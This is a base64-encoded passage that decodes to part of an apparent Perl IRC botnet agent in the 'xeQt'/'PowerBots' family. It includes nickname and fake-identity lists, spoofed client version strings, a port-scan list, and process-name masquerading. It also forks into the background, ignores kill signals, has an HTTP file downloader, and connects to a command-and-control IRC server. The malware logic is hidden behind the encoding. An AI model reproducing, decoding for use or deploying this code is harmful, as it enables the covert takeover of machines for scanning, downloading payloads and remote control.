aGVyb2luIiwiZG9rIiwicGFnZSIsInBocDMiLCJwb3AiLCJzbXRwIiwiZGF0YSIsImtpbGRlIiwiZm9zcyIsImxvd3JkciIsDQogICAiZHJ2YnkiLCJ2aXBlciIsInNuYWtlIiwiZHJhZ29uIiwiZHVwIiwidnVsbiIsImNhdCIsImdyZXAiLCJsb29wIiwiaW5ldGQiLCJwcm9mdHBkIiwNCiAgICJwYXNpdmUiLCJkYW1wIiwid2FscyIsInNub2tlIiwic25payIsInBvZmYiLCJwaGlsIiwicGlsbCIsImRyYSIsImRyam8iLCJkam8iLCJsYWJ5IiwNCiAgICJydW5lIiwiYWxhbiIsImJyaXR0IiwiYnJpdGEiLCJzdHVlIiwic3RlbmVuIiwiYW5keSIsImJhc3MiLCJwaGF0dCIsImxvdmVyIiwiZnJlc2EiLA0KICAgImp2YyIsImpibCIsImNpYSIsImZlZCIsInNvdiIsInB1cmsiLCJzbnV0Iiwic25pZiIsImRla2EiLCJzdm92ZWwiLCJsaWZlIiwia25pZmUiLCJzbyIsDQogICAiZGVrYSIsImJvcyIsImJvc3MiLCJmcmVzIiwic3BldHQiLCJkdXNqIiwia2FwcGUiLCJub3JtYW4iLCJrZWIwcmQiLCJmYWIiLCJkb3IiLCJiaXRzIiwNCiAgICJrbml2IiwibGlzYSIsIm5pbmEiLCJvbGUiLCJwYXQiLCJtdHYiLCJjaGFybCIsInNtb2tpZSIsIm5hYm8iLCJ3YWxrIiwiYnJrcyIsImtyYWQtMyIsDQogICAiZGFtZSIsImxhZHkiLCJib2xhIiwiYmlmZmVuIiwia2FtbSIsImRyZXYiLCJzcHJpZGVyIiwic3BpZGVyIiwiaXNjcmVtIiwiZGFkZHkiLCJwaWUiLA0KICAgICAgICAgICJvbm8iLCJ0aW1hIiwibXl0bSIsIm1vdG9yIiwidnNtb3QiLCJzcG9ydCIsImZhcnQiLCJkZXZzIiwidmFyIiwidG1wIiwic3BvbCIsInN0dXJlIi4NCiAgICAgICAgImp1bGUiLCJ0cmVlIiwiZ2F0ZSIsIm5ldCIsInJhbmQiLCJwZXJsIiwibGluZSIsInhxdCIsIm1yeCIsIm9yZyIsImFzdXMiLCJzcGVkIiwieWFjbyIsDQogICAiaGFzaCIsImhtbSIsImRkb3MiLCJwd3IiLCJuaXgiLCJsaW51eCIsImJzZCIsInBwYWwiLCJhaW8iLCJtYXJzIiwiYmF0ZXMiLCJkYWltIiwiZGEiLA0KICAgInBpY28iLCJubWFwIiwianVnZSIsInNvbmUiLCJsb2ciLCJnb29meSIsImthcnMiLCJtZXRlciIsImRhaW0iLCJrdWwiLCJmb2tzeSIsImh5ZW5hIiwNCiAgICJiZXRhIiwicHVsc2UiLCJkcml2ZXIiLCJvcmciLCJmb3MiLCJrYXJzIiwia21hIiwiZnVhIiwiYWxsIiwidGVhIiwiZm9rcyIsImxhZHkiLCJmYSIsDQogICAidGVzdG8iLCJib2xhIiwiYm9sZW4iLCJjYXJkIiwiY2FyZHMiLCJjaGlwIiwiY2hpcHMiLCJ3diIsImF1ZGkiLCJibXciLCJyb3lzIiwiYmVjaHMiLA0KICAgIm5va2lhIiwibXJ4Iiwic29tZSIsImNhbmR5IiwiZ29vIiwiY29vbCIsInNjYW0iLCJzY2FuIiwiZ29vZ2xlIiwibGVlIiwiY2FtIiwibGkiLCJkbSIsDQogICAibG9mZiIsImdyb3YiLCJhYmNkIiwicHVsc2UiLCJncm93IiwiYWxydCIsInNweWQiLCJ0cm9qYW4iLCJtYXhkIiwieGVxdGQiLCJ4UXRkIiwibm9keiIsDQogICAib3duZXIiLCJjcmltZSIsImRhdGEiLCJuZWVkIiwiZG9wZXIiLCJoYXNoIiwibXlzcWwiLCJpbWFwZCIsImRldmlsIiwic2hhcmsiLCJieW4iLCJqdSIpOw0KDQpteSBAeG5hbWUgPSAoIkdvb2d1cmwgKEMpIDIwMDYgeGVRdCIsInd3dy5Hb29nbGUuY29tIiwiKiBJbSB0byBsYW1lIHRvIHJlYWQgQml0Y2h4LmRvYyAqIiwiQmlhdGNoWCIsDQogICAiVHZlaXRhIEdqZW5nZW4iLCJCZ2plbmdlbiIsIkFnamVuZ2VuIiwibG9jb3MiLCJwdXRhcyIsInNwb29vbiIsIlR5cGUtUiBUdXJibyIsIkNpdmljIFIgVHVyYm8iLA0KICAgIm1JUkMgNi4xIiwiKiBJbSBzbyBsYW1lIGkgY2FudCByZWFkeSBCaXRjaFguZG9jICoiLCJCaWxsIEdhdGVzIiwiQ2Fubm9uIiwiTXR2Iiwibm9zIiwibm96enoiLA0KICAgIlNwb3J0IENyZXciLCJ2VGVhbSIsIlR1cmJvIiwicmFuZG9tIiwicGF5cGFsIiwibmV0c2NhbSIsInd3dy5taWx3MHJtLmNvbSIsImxlZSIsImF2IiwiZnJlYWNlIiwNCiAgICJ0cm9qYW4gZG9ua2V5IiwiTW9uc3RlciBHYXJhZ2UiLCJHYXJhZ2UgSW5jLiIsIlBpbXAgTWEgU2hpdCIsIlBpbXAgbXkgcmlkZSIsIkZyZWFrIG91dCIsIkRvY2giLA0KICAgInd3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZyIsInd3dy5saW51eC5jb20iLCJ3d3cuZnJlZWJzZC5vcmciLCJIZWxsbyBUaGVyZSIsInR5c29uIiwibWVra2trYSIsDQogICAiSW0ganVzdCBteXNlbGYgbWFuIiwiQ2FuIHUgZ2V0IHRoZSBjbHVlPyIsIkltIG5vdCB0aGUgb25seSBvbmUiLCJGZWFyIHRoZSBsaW9ucyIsIm1la2thIiwibm9vbyIsDQogICAiRHJhZ29ucyBiYWNrIiwiVHVyYm8gUXVhdHRybyIsIlNwb3J0IFF1YXR0cm8iLCJhaGVoIGdvb2Z5IiwiSnVzdCBmb3IgcGh1biIsImdCaWxsIiwiZ29hIiwiWWVzaXIiLA0KICAgIlRoYXRzIG15IG1vZm8gbmFtZSIsIlNub29vb3AgRG9nZ3kgU3R5bGUuLi4iLCJUcmlja3kgVHJpY2tleSIsImxvdmUsIHBlYWNlLCBhbmQgeGVRdCIsInJib3QiLCJoYSIsDQogICAiQ2xhcCB5b3VyIGhhbmRzIiwib25lIHR3byB0cmVlLCBiYXNzIiwibGlvbnMiLCJEcnVncywgc2V4LCBhbmQgeHRjIiwiaSBoYXRlIHRoYXQgYmlhdGNoIiwiYWxpIiwNCiAgICJHbyBmdWNrIHlvdXJzZWxmIiwid2hvaXMgbWVlZWUiLCJGYXRqb2UgQ29ycCIsIkJyb29rbHluIEJvdW5jaGUiLCJEaiBQdWxzZWRyaXZlciIsImxlZSIsImZ1cnUiLA0KICAgIlJhbmRvbSIsIllvdSBoYXZlIG5vIGNsdWUiLCJUaGlzIHJvY2tzIiwidXJhbml1bSIsIkJpbkxhZGVuIiwiVGVkIEJ1bmR5IiwiQ2hhcmxpZSBDaGVlZW5zIiwiaGFucyIsDQogICAiV2lsbCBTbWl0aCIsIkZyZWFzaCBQcmluY2UgT24gSVJDIiwiRnJlYXNoIHByaW5jZSBpbiBiZWwgYWlyIiwiUG93ZXJlZCBCeSBQSFBCQiIsIm1hbWJvIiwicnV5IiwNCiAgICJkaiBwdWxzZSIsIlBvd2VyZWQgQnkgeGVRdCIsIkRlbHV4IiwiMnBhYyIsIkJpZ2dpZSIsIkZ1Y2sgc2FkYW0iLCJBbGxhaCIsIkltIHlvdXIgZ29kIGlkaW90IiwiaWQiLA0KICAgIkltIHRvIGxhbWUgdG8gcmVhZCBCaXRjaFguZG9jIiwiQm9pa2EiLCJEaWFtb25kcyIsIkplYW4gY2xhdWRlIFZhbiBkYW1lIiwiQXJub2xkIFNjaHdhcnRzbmVnZXIiLA0KICAgIlN0aWciLCJBbm90aG9ueSIsIldoaXRlIFBvd2VyIiwiSnVzdCBkbyBpdCIsInZTbW90b3IgdnMuIFR1cmJvIiwiTmlzbW8gU2t5bGluZSBHVC1SIFIzNCIsIk15U3F1YWQiLA0KICAgIkhvbmRhIENpdmljIFR5cGUtUiIsIk1hcmlhIENhcnJleSIsIlRlcnJvciBTcXVhZCIsIkknbSB0byBsYW1lIHRvIHJlYWQgQml0Y2hYLmRvYyIsInczM2QiLCJodWdvIiwNCiAgICJXaW5YUCAxOTk5IChDKSBCaWxsIEdhdGVzIiwiTWljcm9zb2Z0IHdpbmRvd3MgeGVRdHhwcmVzcyIsInhlUXQgdlMgTXJ4IFRlYW0iLCJBcGFjaGUgaHR0cGQgc2VydmVyIiwNCiAgICJhcm5lIiwibGluZSIsImdlaXIiLCJ0ZXJqZSIsInN5bm5lIiwibGluZGEiLCJmcm9kZSIsIm15IG5hbWU/IiwidGVhbXJ4UHJlc3MiLCJ4ZXF0ZXJzIiwiYXN1cyBwb3dlciIsDQogICAiQ3Jhc2ggVGVzdCBEdW1teSIsIk1hZG9ubmEiLCJ2WCBwb3dlciIsIlRlYW0gV2luZG93cyIsIkJpbGwgR2F0ZXMiLCJCaWxsIEdhdGV6IiwiVGhhdHMgbXkgZ2lybC4uLiIsDQogICAiUGh1bnRlciIsInBhbnRlciIsIlNuYWtlZCIsIkh1bnRlZCIsIlZpY3R1bXMiLCJQSFBTSCIsIm1vZF9jb21feFF0IiwiY29tX3hlUXRlciIsImNvbV90ZWFtIiwiYXNzYSIsDQogICAiTm9raWEsIENvbm5lY3RpbmcgUGVvcGxlLi4uIiwiQml0Y2hYIiwic21va2UgYW5kIGZseSIsImNvbV94ZVF0X1BlcmZvcm1hbmNlIiwiVGVhTXJ4IFBlcmZvcm1hbmNlIiwNCiAgICJ4UXQiLCJQZXJsYm90IHZlcnNpb24gdng5bTBkIHYzIiwiR29vZ3VybCIsIkdvb2dsZSBsb3ZlcnMiLCJ4ZVF0X2NvbSIsIm1yeF91bml0IiwiY29tX2FzdXMiLCJoYWlzdCIsDQogICAiVGVhTXJ4IENyZXciLCJ4UXQgdlMgVGVhTXJ4IiwieGVRdCB2UyBNcngiLCJQb3dlcmVkIGJ5IFRlYU1yeCIsIlBvd2VyZWQgYnkgeFF0IiwiY29tX3hRdF9tcngiLCJjb21feCIsDQogICAiY29tX3RlYW1yeCIsInhlUXQgdGhlIHdheSB0byBnbyIsIlBlcmwgbW9ua3MiLCJwZXJsaGFja2VycyIsInBlcmwgZ2VuaXVzIiwicGVybCB0ZWFtIiwicGVybCBzY2FubmVyIiwNCiAgICJTYW4gRnJhbmNpc2NvIiwiTmV3IFlvcmsgR2FuZ2JhbmcuLiIsIlRlYW0gTm9yd2F5IiwiVGVhbSBFdXJvcGUiLCJUZWFtIEdlcm1hbnkiLCJUZWFtIFdvcmsiLCJqZXQgbGllIik7DQoNCiMjIyMjIyMjIyMjIyMjIyMjDQojIFJhbmRvbSBQb3J0cw0KIyMjIyMjIyMjIyMjIyMjIyMNCm15IEBycG9ydHMgPSAoIjg4ODgiKTsNCg0KDQpteSBATXJ4ID0gKCJcMDAxbUlSQzMyIHY1LjkxIEsuTWFyZGFtLUJleVwwMDEiLCJcMDAxbUlSQyB2Ni4yIEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAiXDAwMW1JUkMgdjYuMDMgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwiXDAwMW1JUkMgdjYuMTQgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICJcMDAxbUlSQyB2Ni4xNSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLCJcMDAxbUlSQyB2Ni4xNiBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgIlwwMDFtSVJDIHY2LjE3IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsIlwwMDFtSVJDIHY2LjIxIEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAiXDAwMVNuYWsgZm9yIE1hY2ludG9zaCA0LjkuOCBFbmdsaXNoXDAwMSIsDQogICAiXDAwMUR2QyB2MC4xIFBIUC01LjEuMSBiYXNlZCBvbiBOZXRfU21hcnRJUkNcMDAxIiwNCiAgICJcMDAxUElSQ0g5ODpXSU4gOTUvOTgvV0lOIE5UOjEuMCAoYnVpbGQgMS4wLjEuMTE5MClcMDAxIiwNCiAgICJcMDAxeGNoYXQgMi42LjIgTGludXggMi42LjE4LjUgW2k2ODYvMi42N0dIel1cMDAxIiwNCiAgICJcMDAxeGNoYXQ6Mi40LjM6TGludXggMi42LjE3LTEuMjE0Ml9GQzQgW2k2ODYvMiwwMEdIel1cMDAxIiwNCiAgICJcMDAxeGNoYXQ6Mi40LjM6TGludXggMi42LjE3LTEuMjE0Ml9GQzQgW2k2ODYvMS43MEdIel1cMDAxIiwNCiAgICJcMDAxWENoYXQtR05PTUUgSVJDIENoYXQgMC4xNiBMaW51eCAyLjYuMjAtOC1nZW5lcmljIFtpNjg2XVwwMDEiLA0KICAgIlwwMDFpcmNOIDcuMjcgKyA3LjAgLSAtXDAwMSIsIlwwMDEuLihhcmdvbi8xZykgOmJpdGNoeC0xLjBjMTdcMDAxIiwNCiAgICJcMDAxaXJjTiA4LjAwIB8tHyBoZSB0cmllcyB0byB0ZWxsIG1lIHdoYXQgSSBwdXQgaW5zaWRlIG9mIG1lIB8tH1wwMDEiLA0KICAgIlwwMDFGcmVlQlNEITQuMTEtU1RBQkxFIGJpdGNoeC0xLjBjMTggLSBwcmV2YWlsWzAxMjNdIDpkb3duIHdpdGggcGVvcGxlXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjBjMTkrIGJ5IHBhbmFzeW5jIC0gTGludXggMi40LjMxIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMGMxOSsgYnkgcGFuYXN5bmMgLSBMaW51eCAyLjQuMzMuMyA6IEtlZXAgaXQgdG8geW91cnNlbGYhXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjEtZmluYWwrIGJ5IHBhbmFzeW5jIC0gTGludXggMi42LjE4LjEgOiBLZWVwIGl0IHRvIHlvdXJzZWxmIVwwMDEiLA0KICAgIlwwMDFCaXRjaFgtMS4wYzE5IGJ5IHBhbmFzeW5jIC0gZnJlZWJzZCA0LjEwLVNUQUJMRSA6IEtlZXAgaXQgdG8geW91cnNlbGYhXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjEtZmluYWwrIGJ5IHBhbmFzeW5jIC0gRnJlZUJTRCA0LjUtU1RBQkxFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMS1maW5hbCsgYnkgcGFuYXN5bmMgLSBGcmVlQlNEIDYuMC1SRUxFQVNFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMS1maW5hbCsgYnkgcGFuYXN5bmMgLSBGcmVlQlNEIDUuMy1SRUxFQVNFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxYml0Y2h4LTEuMGMxOCA6dHVubmVsdmlzaW9uLzEuMlwwMDEiLCJcMDAxUG5QIDQuMjIgLSBodHRwOi8vd3d3LnBhaXJjLmNvbS9cMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMGMxNy9GcmVlQlNEIDQuMTAtUkVMRUFTRTooYylyYWNrcm9jay9iWCBbMy4wLjHCtzldIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxUCZQIDQuMjIuMiAoaW4gZGV2ZWxvcG1lbnQpICsgWCBaIFAgQm90cywgU291bmQsIE5pY2tTZXJ2LCBDaGFuU2VydiwgRXh0cmFzXDAwMSIsDQogICAiXDAwMUh5ZHJhSVJDIHYwLjMuMTQ4ICgxOC9KYW4vMjAwNSkgYnkgRG9taW5pYyBDbGlmdG9uIGFrYSBIeWRyYSAtICNIeWRyYUlSQyBvbiBFRk5ldFwwMDEiLA0KICAgIlwwMDFpcnNzaSB2MC44LjEwIC0gcnVubmluZyBvbiBMaW51eCBpNTg2XDAwMSIsIlwwMDFpcnNzaSB2MC44LjEwIC0gcnVubmluZyBvbiBGcmVlQlNEIGkzODZcMDAxIiwNCiAgICJcMDAxaXJjSUkgMjAwNTA0MjMrU2Nyb2xsWiAxLjkuNSAoMTkuMTIuMjAwNCkrQ2RjYyB2MS42bW9kcyB2MS4wIGJ5IGFjaWRmbGFzaCAtIEFsbW9zdCB0aGVyZVwwMDEiLA0KICAgIlwwMDFpcmNJSSAyMDA1MDQyMytTY3JvbGxaIDEuOS41ICgxOS4xMi4yMDA0KStDZGNjIHYxLjgrT3Blck1vZHMgdjEuMCBieSBhY2lkZmxhc2ggLSBBbG1vc3QgdGhlcmVcMDAxIik7DQoNCiMgRGVmYXVsdCBxdWljayBzY2FuIHBvcnRzDQpteSBAcG9ydGFzPSgiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiMTEwIiwiMTEzIiwiMTQzIiwiMzMwNiIsIjQwMDAiLCI1OTAwIiwiNjY2NyIsIjY2NjgiLCI2NjY5IiwiNzAwMCIsIjEwMDAwIiwiMTIzNDUiLCIzMTMzNyIsIjY1NTAxIik7DQoNCiMgeGVRdA0KDQojbXkgJG5pY2sgPSAiYnEiOw0KbXkgJG5pY2sgPSAkbmlja25hbWVbcmFuZCBzY2FsYXIgQG5pY2tuYW1lXTsNCm15ICRyZWFsbmFtZSA9ICR4bmFtZVtyYW5kIHNjYWxhciBAeG5hbWVdOw0KbXkgJGlyY25hbWUgPSAkeGlkZW50W3JhbmQgc2NhbGFyIEB4aWRlbnRdOw0KbXkgJHBvcnRhID0gJHJwb3J0c1tyYW5kIHNjYWxhciBAcnBvcnRzXTsNCm15ICR4cHJvYyA9ICRmYWtlcHNbcmFuZCBzY2FsYXIgQGZha2Vwc107DQpteSAkTXJ4ID0gJE1yeFtyYW5kIHNjYWxhciBATXJ4XTsNCm15ICR2ZXJzaW9uID0gJ1Bvd2VyQm90cyAoQykgR29oYWNLJzsNCg0KJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7DQokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJFNJR3snUFMnfSA9ICdJR05PUkUnOw0KDQp1c2UgSU86OlNvY2tldDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OlNlbGVjdDsNCmNoZGlyKCIkaG9tZWRpciIpOw0KJHNlcnZpZG9yPSIkQVJHVlswXSIgaWYgJEFSR1ZbMF07DQokMD0iJHhwcm9jIi4iXDAiOw0KbXkgJHBpZD1mb3JrOw0KZXhpdCBpZiAkcGlkOw0KZGllICJbeF0gLT4gQ2Fubm90IGZvcmsgaW50byBiYWNrZ3JvdW5kOiAkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7DQpteSAlaXJjX3NlcnZlcnM7DQpteSAlRENDOw0KbXkgJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7DQoNCnN1YiBnZXRuaWNrIHsNCiAgcmV0dXJuICIkbmlja25hbWVbcmFuZCBzY2FsYXIgQG5pY2tuYW1lXSIuaW50KHJhbmQoMTAwMCkpOw0KfQ0KDQpzdWIgZ2V0c3RvcmUgKCQkKQ0Kew0KICBteSAkdXJsID0gc2hpZnQ7DQogIG15ICRmaWxlID0gc2hpZnQ7DQoNCiAgJGh0dHBfc3RyZWFtX291dCA9IDE7DQogIG9wZW4oR0VUX09VVEZJTEUsICI+ICRmaWxlIik7DQogICVodHRwX2xvb3BfY2hlY2sgPSAoKTsNCiAgX2dldCgkdXJsKTsNCiAgY2xvc2UgR0VUX09VVEZJTEU7DQogIHJldHVybiAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0Ow0KfQ0Kc3ViIF9nZXQNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkcHJveHkgPSAiIjsNCiAgZ3JlcCB7KGxjKCRfKSBlcSAiaHR0cF9wcm94eSIpICYmICgkcHJveHkgPSAkRU5WeyRffSl9IGtleXMgJUVOVjsNCiAgaWYgKCgkcHJveHkgZXEgIiIpICYmICR1cmwgPX4gbSxeaHR0cDovLyhbXi86XSspKD86OihcZCspKT8oL1xTKik/JCwpIHsNCiAgICBteSAkaG9zdCA9ICQxOw0KICAgIG15ICRwb3J0ID0gJDIgfHwgODA7DQogICAgbXkgJHBhdGggPSAkMzsNCiAgICAkcGF0aCA9ICIvIiB1bmxlc3MgZGVmaW5lZCgkcGF0aCk7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2lmICgkcHJveHkgPX4gbSxeaHR0cDovLyhbXi86XSspOihcZCspKC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyOw0KICAgIG15ICRwYXRoID0gJHVybDsNCiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7DQogIH0gZWxzZSB7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQp9DQpzdWIgX3RyaXZpYWxfaHR0cF9nZXQNCnsNCiAgbXkoJGhvc3QsICRwb3J0LCAkcGF0aCkgPSBAXzsNCiAgbXkoJEFHRU5ULCAkVkVSU0lPTiwgJHApOw0KICAjcHJpbnQgIkhPU1Q9JGhvc3QsIFBPUlQ9JHBvcnQsIFBBVEg9JHBhdGhcbiI7DQoNCiAgJEFHRU5UID0gImdldC1taW5pbWFsIjsNCiAgJFZFUlNJT04gPSAiMjAwMDAxMTgiOw0KDQogICRwYXRoID1+IHMvIC8lMjAvZzsNCg0KICByZXF1aXJlIElPOjpTb2NrZXQ7DQogIGxvY2FsKCReVykgPSAwOw0KICBteSAkc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdCwgUGVlclBvcnQgPT4gJHBvcnQsIFByb3RvICAgPT4gJ3RjcCcsIFRpbWVvdXQgID0+IDYwKSB8fCByZXR1cm47DQoNCiAgJHNvY2stPmF1dG9mbHVzaDsNCiAgbXkgJG5ldGxvYyA9ICRob3N0Ow0KICAkbmV0bG9jIC49ICI6JHBvcnQiIGlmICRwb3J0ICE9IDgwOw0KICBteSAkcmVxdWVzdCA9ICJHRVQgJHBhdGggSFRUUC8xLjBcMDE1XDAxMiINCiAgICAgICAgICAgICAgLiAiSG9zdDogJG5ldGxvY1wwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiAkQUdFTlQvJFZFUlNJT04vdVwwMTVcMDEyIjsNCiAgJHJlcXVlc3QgLj0gIlByYWdtYTogbm8tY2FjaGVcMDE1XDAxMiIgaWYgKCRtYWluOjpodHRwX25vX2NhY2hlKTsNCiAgJHJlcXVlc3QgLj0gIlwwMTVcMDEyIjsNCiAgcHJpbnQgJHNvY2sgJHJlcXVlc3Q7DQogIG15ICRidWYgPSAiIjsNCiAgbXkgJG47DQogIG15ICRiMSA9ICIiOw0KICB3aGlsZSAoJG4gPSBzeXNyZWFkKCRzb2NrLCAkYnVmLCA4KjEwMjQsIGxlbmd0aCgkYnVmKSkpIHsNCiAgICBpZiAoJGIxIGVxICIiKSB7DQogICAgICAkYjEgPSAkYnVmOw0KICAgICAgJGJ1ZiA9fiBzLy4rP1wwMTU/XDAxMlwwMTU/XDAxMi8vczsNCiAgICB9DQogICAgaWYgKCRodHRwX3N0cmVhbV9vdXQpIHsgcHJpbnQgR0VUX09VVEZJTEUgJGJ1ZjsgJGJ1ZiA9ICIiOyB9DQogIH0NCiAgcmV0dXJuIHVuZGVmIHVubGVzcyBkZWZpbmVkKCRuKTsNCiAgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9IDIwMDsNCiAgaWYgKCRiMSA9fiBtLF5IVFRQL1xkK1wuXGQrXHMrKFxkKylbXlwwMTJdKlwwMTIsKSB7DQogICAgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9ICQxOw0KICAgICMgcHJpbnQgIkNPREU9JG1haW46Omh0dHBfZ2V0X3Jlc3VsdFxuJGIxXG4iOw0KICAgIGlmICgkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMzBbMTIzN10vICYmICRiMSA9fiAvXDAxMkxvY2F0aW9uOlxzKihcUyspLykgew0KICAgICAgbXkgJHVybCA9ICQxOw0KICAgICAgcmV0dXJuIHVuZGVmIGlmICRodHRwX2xvb3BfY2hlY2t7JHVybH0rKzsNCiAgICAgIHJldHVybiBfZ2V0KCR1cmwpOw0KICAgIH0NCiAgICByZXR1cm4gdW5kZWYgdW5sZXNzICRtYWluOjpodHRwX2dldF9yZXN1bHQgPX4gL14yLzsNCiAgfQ0KICByZXR1cm4gJGJ1ZjsNCn0NCiRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOw0Kc3ViIHNlbmRyYXcgew0KICBpZiAoJCNfID09ICcxJykgew0KICAgIG15ICRzb2NrZXQgPSAkX1swXTsNCiAgICBwcmludCAkc29ja2V0ICIkX1sxXVxuIjsNCiAgfSBlbHNlIHsNCiAgICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7DQogIH0NCn0NCnN1YiBjb25lY3RhciB7DQogICBteSAkbWV1bmljayA9ICRfWzBdOw0KICAgbXkgJHNlcnZpZG9yX2NvbiA9ICRfWzFdOw0KICAgbXkgJHBvcnRhX2NvbiA9ICRfWzJdOw0KICAgbXkgJElSQ19zb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+IiRzZXJ2aWRvcl9jb24iLCBQZWVyUG9ydD0+JHBvcnRhX2Nvbikgb3IgcmV0dXJuKDEpOw0KICAgaWYgKGRlZmluZWQoJElSQ19zb2NrZXQpKSB7DQogICAgICRJUkNfY3VyX3NvY2tldCA9ICRJUkNfc29ja2V0Ow0KICAgICAkSVJDX3NvY2tldC0+YXV0b2ZsdXNoKDEpOw0KICAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNlcnZpZG9yX2NvbiI7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydwb3J0YSd9ID0gIiRwb3J0YV9jb24iOw0KICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gJElSQ19zb2NrZXQtPnNvY2tob3N0Ow0KICAgICBuaWNrKCIkbWV1bmljayIpOw0KICAgICBzZW5kcmF3KCJVU0VSICRpcmNuYW1lICIuJElSQ19zb2NrZXQtPnNvY2tob3N0LiIgJHNlcnZpZG9yX2NvbiA6JHJlYWxuYW1lIik7DQogICAgIHNsZWVwIDI7DQogICB9DQp9DQpteSAkbGluZV90ZW1wOw0Kd2hpbGUoIDEgKSB7DQogICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKCIkbmljayIsICIkc2Vydmlkb3IiLCAiJHBvcnRhIik7IH0NCiAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZCgkaXJjX3NlcnZlcnN7Jyd9KSk7DQogICAmRENDOjpjb25uZWN0aW9uczsNCiAgIG15IEByZWFkeSA9ICRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQoMC42KTsNCiAgIG5leHQgdW5sZXNzKEByZWFkeSk7DQogICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7DQogICAgICRJUkNfY3VyX3NvY2tldCA9ICRmaDsNCiAgICAgJG1ldW5pY2sgPSAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9Ow0KICAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5Nik7DQogICAgIGlmICgkbnJlYWQgPT0gMCkgew0KICAgICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOw0KICAgICAgICAkZmgtPmNsb3NlOw0KICAgICAgICBkZWxldGUoJGlyY19zZXJ2ZXJzeyRmaH0pOw0KICAgICB9DQogICAgIEBsaW5lcyA9IHNwbGl0ICgvXG4vLCAkbXNnKTsNCiAgICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsgJGMrKykgew0KICAgICAgICRsaW5lID0gJGxpbmVzWyRjXTsNCiAgICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlmICgkbGluZV90ZW1wKTsNCiAgICAgICAkbGluZV90ZW1wPScnOw0KICAgICAgICRsaW5lID1+IHMvXHIkLy87DQogICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7DQogICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBpZiAoJCNsaW5lcyA9PSAwKSB7DQogICAgICAgICAgICAgcGFyc2UoIiRsaW5lIik7DQogICAgICAgICAgIH0gZWxzaWYgKCRsaW5lc1skY10gPX4gL1xyJC8pIHsNCiAgICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgICAgfSBlbHNlIHsNC